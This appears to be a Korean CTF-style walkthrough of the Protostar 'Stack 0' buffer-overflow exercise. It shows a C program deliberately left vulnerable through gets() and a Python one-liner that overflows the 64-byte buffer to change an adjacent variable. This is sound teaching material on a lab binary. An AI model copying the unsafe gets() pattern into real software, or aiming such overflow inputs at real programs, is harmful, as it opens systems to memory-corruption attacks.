본문 바로가기

WarGame/Exploit-Exercises

[Exploit-Exercises | protostar] Stack 0 :: Basic Buffer Overflow


Stack 0에 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
 
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
 
  modified = 0;
  gets(buffer); // Vulnerability!!!
 
  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
cs


int형의 modified와 64 Bytes의 buffer라는 배열이 선언되어 있습니다.

gets() 함수에서 입력받는 문자열이 지정되어 있지 않는 것을 확인할 수 있고, 이로 인해서 할당된 buffer 밖으로 특정 문자열을 집어넣을수 있고 modified 값을 0이 아닌 다른 값으로 수정할 수 있습니다.


Step 1. buffer의 크기를 64 Bytes로 선언하였지만, 실제 메모리에는 dummy값이 함께 잡힐 수 있기 때문에 정확한 메모리 공간을 파악해야 합니다. 실제 메모리에 할당된 buffer 크기를 파악하기 위해 다음과 같이 getBuffer.c라는 파일을 만들겠습니다.


1
2
3
4
5
6
7
8
9
int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
 
  printf("modified : %p\n", &modified);
  printf("buffer : %p\n", buffer);
}
 
cs


Step 2. gcc로 컴파일 한 후, 실행해 보면 다음과 같은 결과가 출력되고, modified 변수의 시작 주소에서 buffer의 시작 주소를 빼면 64 Bytes가 나오고 buffer의 크기가 64 Bytes라는 것을 알 수 있습니다. (해당 환경에서는 c 코드에서 선언한 64 Bytes가 메모리에서도 동일하게 할당되었지만 다른 환경에서는 dummy가 추가될 수 있으므로 반드시 확인을 해야 합니다.)


1
2
3
4
modified : 0xbffffccc
buffer : 0xbffffc8c
 
// 0xbffffccc - 0xbffffc8c = 40 (10진수 64)
cs




Step 3. 이제 buffer의 크기를 파악했으니 buffer의 크기를 Overflow하여 modified 값을 1로 수정하겠습니다. 다음과 같은 명령어로 64개의 A 문자와 \x01을 입력하면 BOF 성공 메시지가 출력되는 것을 확인할 수 있습니다.


1
2
$ (python -c 'print "A"*64+"\x01"';cat) | /opt/protostar/bin/stack0
you have changed the 'modified' variable
cs